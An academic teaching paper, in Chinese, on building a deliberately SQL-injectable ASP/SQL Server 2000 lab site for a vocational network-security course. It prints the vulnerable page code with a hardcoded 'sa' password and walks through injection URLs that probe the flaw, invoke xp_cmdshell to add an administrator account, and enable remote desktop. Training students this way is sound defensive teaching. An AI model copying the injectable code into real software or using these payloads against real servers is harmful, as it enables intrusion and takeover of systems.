曾煌存
(廣東外語藝術(shù)職業(yè)學(xué)院 廣東 廣州 510640)
高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究*
曾煌存
(廣東外語藝術(shù)職業(yè)學(xué)院 廣東 廣州 510640)
SQL注入攻擊是黑客攻擊最常用的手段之一,其危害極大。在高職院校的網(wǎng)絡(luò)安全課中,使學(xué)生掌握SQL注入攻擊和相應(yīng)的防范措施是一個教學(xué)難點。如果能夠搭建一個簡單的具有SQL注入漏洞的實驗環(huán)境,讓學(xué)生在這個實驗環(huán)境中進行模擬攻擊,對于學(xué)生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大的好處,進而能讓學(xué)生更好地掌握相應(yīng)的安全防范措施??偨Y(jié)SQL注入攻擊實驗環(huán)境搭建及使用實踐,旨在對高職院校的SQL注入攻擊與防范實訓(xùn)教學(xué)起到一定的促進作用。
高職院校;SQL注入攻擊;實驗環(huán)境;網(wǎng)絡(luò)安全
SQL注入攻擊是黑客攻擊最常用的手段之一,其危害極大。一些不具備很多網(wǎng)絡(luò)安全技術(shù)的“腳本小子”,使用一些傻瓜式SQL注入攻擊工具,就可能攻陷網(wǎng)站,進而控制服務(wù)器。
高職院校的 《網(wǎng)絡(luò)安全與防范》課程,具有培養(yǎng)學(xué)生掌握較高網(wǎng)絡(luò)安全防范技能的任務(wù)。因此,必須使學(xué)生掌握好SQL注入攻擊的防范措施。而為了真正掌握SQL注入攻擊的防范措施,又必須透徹理解SQL注入攻擊的原理和具體實施步驟。經(jīng)驗表明,這是一個教學(xué)難點,因為它需要精心構(gòu)造SQL語句,來完成信息的查詢、語句的執(zhí)行等。
我們開展了一項教學(xué)改革,旨在提高《網(wǎng)絡(luò)安全與防范》課程的教學(xué)效果。該教學(xué)改革中的一項內(nèi)容,就是研究如何更好地開展SQL注入攻擊的教學(xué)。我們認為,如果能夠搭建一個簡單的具有SQL注入漏洞的動態(tài)網(wǎng)站,讓學(xué)生對這個網(wǎng)站進行模擬攻擊,對于學(xué)生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大好處,也能讓他們更好地掌握相應(yīng)的安全防范措施。
我們使用 VMware WorkStation虛擬機軟件安裝了兩臺虛擬機,一臺虛擬機安裝的是Windows Server 2003操作系統(tǒng),用于模擬被攻擊的服務(wù)器,IP 地址為192.168.248.132;另一臺虛擬機安裝的是Windows XP操作系統(tǒng),用于模擬黑客使用的攻擊機,IP地址為 192.168.248.133。 在 Windows Server 2003虛擬機上,搭建了一個使用ASP+SQL Server 2000開發(fā)的簡單的動態(tài)網(wǎng)站。我們設(shè)計該動態(tài)網(wǎng)站的思路是:該網(wǎng)站具有SQL注入漏洞,能滿足SQL注入攻擊的實驗要求;該網(wǎng)站應(yīng)該盡量簡單,以便于學(xué)生理解、分析和掌握。
按照以上設(shè)計思路,我們開發(fā)了一個簡單的名為testweb的動態(tài)網(wǎng)站。該動態(tài)網(wǎng)站需要訪問一個名為testweb的數(shù)據(jù)庫,該數(shù)據(jù)庫包含一個表:tblNews。tblNews用來保存新聞的標(biāo)題和內(nèi)容,初始時在這個表中輸入了一些測試用的數(shù)據(jù)。它的具體結(jié)構(gòu)如表1所示。
表1 tblNews表包含的測試數(shù)據(jù)結(jié)構(gòu)表
該網(wǎng)站包括以下三個頁面:conn.asp、news.asp、displayNews.asp。其中 conn.asp用于保存與 SQL Server 2000數(shù)據(jù)庫服務(wù)器的連接信息;news.asp用于讀取數(shù)據(jù)庫中的新聞記錄,顯示所有新聞的標(biāo)題,并且將這些標(biāo)題以超鏈接的形式顯示。當(dāng)單擊某個新聞的標(biāo)題后,即可以進入形如displayNews. asp?id=xxx的頁面,看到新聞的具體內(nèi)容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。設(shè)置該網(wǎng)站的默認頁面為news.asp。
conn.asp的代碼如下所示:
<%
ConstSqlDatabaseName= " testweb"
Const SqlPassword = " michaeljordan"
Const SqlUsername="sa"
Const SqlLocalName="(local)"
dim ConnStr
ConnStr = "Provider = Sqloledb;User ID = " & SqlUsername&";Password="& SqlPassword&";Initial Catalog=" & SqlDatabaseName & ";Data Source="&SqlLocalName&";"
news.asp的代碼如下所示:
<!--#include file="conn.asp" -->
<%
Dim conn
Set conn=Server.CreateObject("ADODB.Connection")
conn.open ConnStr
dim strSql
strSql = "select * from tblNews"
dim rs
set rs=conn.Execute(strSql)
dim newsID
response.Write("<html>")
response.Write("<body>")
response.Write("<table>")
while not rs.EOF
response.Write("<tr>")
response.Write("<td>")
newsID=rs("ID")
response.Write("<a href='displayNews.asp?id="&newsID&" '>"&rs("title")&"</a>")
response.Write("</td>")
response.Write("</tr>")
rs.MoveNext
wend
response.Write("</table>")
response.Write("</body>")
response.Write("</html>")
rs.close()
conn.close
set rs=nothing
set conn=nothing
%>
displayNews.asp的代碼如下所示:
<!--#include file="conn.asp" -->
<%
Dim conn
Set conn=Server.CreateObject("ADODB.Connection")
conn.open ConnStr
dim newsID
newsID=request("id")
dim strSql
strSql="select*from tblNews where ID="&newsID
dim rs
set rs=conn.Execute(strSql)
response.Write(rs("content"))
rs.close()
conn.close
set rs=nothing
set conn=nothing
%
從以上三個頁面的具體代碼可以看出,我們所設(shè)計的動態(tài)網(wǎng)站具有簡單,易于理解、分析和掌握的優(yōu)點。
同時頁面 displayNews.asp有SQL注入漏洞,可以滿足SQL注入攻擊的實訓(xùn)需要,其具有SQL注入漏洞的具體語句為:strSql="select *from tblNewswhereID="& newsID,該語句根據(jù)某條新聞的ID查詢tblNews表的內(nèi)容。我們可以在形如displayNews.asp?id=xxx的地址后面加入精心構(gòu)造的語句,從而執(zhí)行特定的SQL語句,控制服務(wù)器。
如上所述,我們開發(fā)的動態(tài)網(wǎng)站testweb具有SQL注入漏洞,下面我們通過具體的入侵步驟來展示該SQL注入攻擊實驗環(huán)境的使用。(以下攻擊步驟參考了相關(guān)網(wǎng)絡(luò)安全書籍的內(nèi)容。)
(一)判斷網(wǎng)站是否有SQL注入漏洞
可以通過在displayNews.asp? id=1后加上 “’”、“and 1=1”和“and 1=2”等方法來判斷網(wǎng)站是否有SQL注入漏洞。如在地址欄輸入 :http://192.168.248.132/testweb/ displayNews.asp?id=1’ (1)
頁面返回如下錯誤信息:
MicrosoftOLE DB Provider for SQL Server錯誤 '80040e14'
字符串 ''之前有未閉合的引號。
/testweb/displayNews.asp,行 13
從以上提示信息可以看出,數(shù)據(jù)庫服務(wù)器為SQL Server。(1)的原理是:正常的SQL語句為select *from tblNews whereID=1,而(1)導(dǎo)致SQL語句成為:select* from tblNews where ID=1’,這樣會使得單引號沒有閉合而出錯。
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp? id=1 and 1=1 (2)
返回正常頁面。而在地址欄輸入:http://192.168.248.132/testweb/displayNews.asp?id=1 and 1=2(3)
返回的錯誤信息是:
ADODB.Field錯誤'80020009'
BOF或 EOF中有一個是“真”,或者當(dāng)前的記錄已被刪除,所需的操作要求一個當(dāng)前的記錄。
/testweb/displayNews.asp,行 0
(2)導(dǎo)致 SQL語句成為:select*from tblNews where ID=1 and 1=1,因為1=1為永真式,所以不影響原來的查詢結(jié)果,返回正常頁面。而(3)導(dǎo)致SQL語句成為:select*from tblNews where ID=1 and 1=2,因為1=2為永假式,所以查詢結(jié)果為空,而程序中沒有對此進行處理,所以導(dǎo)致出現(xiàn)錯誤提示信息。
通過以上測試,可以明確地知道網(wǎng)站存在SQL注入漏洞,而且數(shù)據(jù)庫服務(wù)器為SQL Server。
(二)查找是否有xp_cmdshell擴展存儲過程
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1 and exists(select*from master. dbo.sysobjects where name=’xp_ cmdshell’)
頁面返回正常,從而知道m(xù)aster.dbo.sysobjects表中存在擴展過程 xp_cmdshell。通過執(zhí)行xp_cmdshell存儲過程可以實現(xiàn)添加用戶、將用戶添加到管理員組、開啟遠程終端連接等許多操作。
(三)通過xp_cmdshell添加系統(tǒng)管理員賬戶
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘net user test test/add’ (4)
頁面返回正常。執(zhí)行該語句后,可以添加一個名為test,密碼也為test的賬戶。(4)的原理是:通過xp_cmdshell擴展存儲過程,執(zhí)行net user命令,實現(xiàn)添加賬戶的操作。
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘net localgroup administrators test/add’
頁面返回正常。執(zhí)行該語句后,可以將賬戶test添加到系統(tǒng)管理員組。
(四)開啟目標(biāo)計算機的遠程終端連接
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘reg add“HKLMSystemCurrentControl-SetControlTerminal Server”/v fDeny TSConnections/t RE G_DWORD/d 0/f’ (5)
頁面返回正常。執(zhí)行完后,可以開啟目標(biāo)計算機的遠程終端連接。(5)的原理是:通過 xp_cmdshell擴展存儲過程,執(zhí)行reg add語句,完成修改注冊表,開啟遠程終端連接的操作。執(zhí)行完以上步驟之后,即可以使用新建的test賬號遠程登錄目標(biāo)計算機192.168.248.132。
為了使學(xué)生掌握SQL注入攻擊的原理、具體實施步驟和相應(yīng)的防范措施,必須搭建實驗環(huán)境讓他們演練SQL注入攻擊的實施步驟。為此,我們搭建了一個ASP+SQL Server 2000環(huán)境下的SQL Server注入攻擊實驗環(huán)境。我們沒有使用Dvbbs等現(xiàn)成的動態(tài)網(wǎng)站,因為這些動態(tài)網(wǎng)站功能較齊全,但代碼很復(fù)雜,不利于初學(xué)者理解、分析和掌握。我們設(shè)計的動態(tài)網(wǎng)站具有簡單,易于學(xué)生理解、分析和掌握的優(yōu)點。我們演示了在該實驗環(huán)境中進行SQL注入攻擊,判斷是否存在SQL注入漏洞,判斷數(shù)據(jù)庫服務(wù)器是否支持xp_cmdshell擴展過程,使用xp_cmdshell添加系統(tǒng)管理員賬號、開啟遠程終端連接、使用攻擊機遠程登錄目標(biāo)計算機等操作。這表明使用我們搭建的簡單的SQL注入攻擊實驗環(huán)境,可以方便地進行SQL注入攻擊演練。這對提高學(xué)生的學(xué)習(xí)興趣,掌握SQL注入攻擊的原理和具體的實施步驟,提高網(wǎng)絡(luò)安全防護意識等都具有很大的好處。
同時,利用該實驗環(huán)境,或者對該實驗環(huán)境稍微進行擴展,我們還可以進行更多的SQL注入攻擊演練,如猜解數(shù)據(jù)庫、表、字段的數(shù)目、字段的名稱、字段的內(nèi)容等等。
我們的教學(xué)經(jīng)驗表明,通過使用這個簡單的實驗環(huán)境,教學(xué)效果能得到明顯的提升。
[1]肖遙.大中型網(wǎng)絡(luò)入侵要案直擊與防御[M].北京:電子工業(yè)出版社,2011.
[2]朱錫華,劉月鏵,侯偉.暗戰(zhàn)亮劍——黑客滲透與防御全程實錄 [M].北京:人民郵電出版社,2010.
[3]武新華,陳艷艷,王英英.矛與盾:黑客攻防與腳本編程[M].北京:機械工業(yè)出版社,2010.
G712
A
1672-5727(2013)12-0168-03
曾煌存,碩士,廣東外語藝術(shù)職業(yè)學(xué)院講師,研究方向為網(wǎng)絡(luò)安全技術(shù)。
廣東外語藝術(shù)職業(yè)學(xué)院2010年度院級科研課題《〈網(wǎng)絡(luò)安全與防范〉課程改革的研究》(課題編號:2010G15)